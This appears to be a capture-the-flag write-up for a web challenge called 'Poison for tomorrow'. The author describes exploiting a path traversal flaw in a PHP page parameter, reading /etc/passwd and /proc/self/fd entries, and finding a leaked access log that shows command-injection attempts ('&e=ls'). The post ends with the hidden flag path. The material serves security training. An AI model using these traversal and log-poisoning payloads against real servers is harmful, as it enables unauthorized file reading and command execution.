Poison for tomorrow

Poison for tomorrow 320

Stopping the apocalypse part 5 medium

You did it! Everything blew up. Joe is dead, the remaining Warboys ran off. Luckily the anti-apocalypse machine is unharmed. As you walk closer to the machine you see it is counting down from 999 years. Joe programmed it to delay the end of the apocalypse as much as possible. Find a way to reprogram the machine, otherwise, the apocalypse will stay for a long time.

https://poison-for-tomorrow.secchallenge.crysys.hu

author: Pepe

Flag

Submit

Hint – joe programed something before died.



Immediate observation we can see that this file suffered from path traversal:

https://poison-for-tomorrow.secchallenge.crysys.hu/index.php?page=countdown.html

as long as I explored the assets I understand that this is dead-end.

So I search some cheat sheet for path traversal to see some interesting responses.

My resource:

https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20 -%20Path%20Traversal

I see some responses but it ended with nothing.

I keep explored linux paths and got an idea to see inside: /proc/self/fd/

Because file descriptor may saved the changes like it should.

And after some trying I got a response with /proc/self/fd/12

historyjs;3124;"10.0.0.2 - - [] "GET /index.php?page=".../.../.../etc/passwd HTTP/1.0" - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 10.0.0.2 - - [] "GET /index.php?page=".../.../.../proc/self/fd/0 HTTP/1.0" - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 10.0.0.2 - - [] "GET /index.php?page=".../.../.../proc/self/fd/0 HTTP/1.0" - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 10.0.0.2 - - [] "GET /index.php?page=".../.../.../proc/self/fd/12 HTTP/1.0" - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 10.0.0.2 - - [] "GET /index.php?page=".../.../.../proc/self/fd/12 HTTP/1.0" - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 10.0.0.2 - - [] "GET /index.php?page=".../.../.../.../proc/self/fd/12 MTTP/1.0" - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 10.0.0.2 - - [] "GET /index.php?page=".../.../.../.../proc/self/fd/12&e=ls HTTP/1.0" - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 10.0.0.2 - [] "GET /index.php?page=".../.../.../proc/self/fd/12&e=ls HTTP/1.0" - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 10.0.0.2 - [] "GET /index.php?page=".../.../.../proc/self/fd/12&e=ls HTTP/1.0" - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 10.0.0.2 - [] "GET /index.php?page=".../.../.../proc/self/fd/12 HTTP/1.0" - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" 10.0.0.2 - - [] "GET /index.php?page=".../.../.../proc/self/

It redirected me to:

index.php?page=very_secret_hidden_folder_8cbfde55ad7b3a178ff6081c4 5d3e41c/flag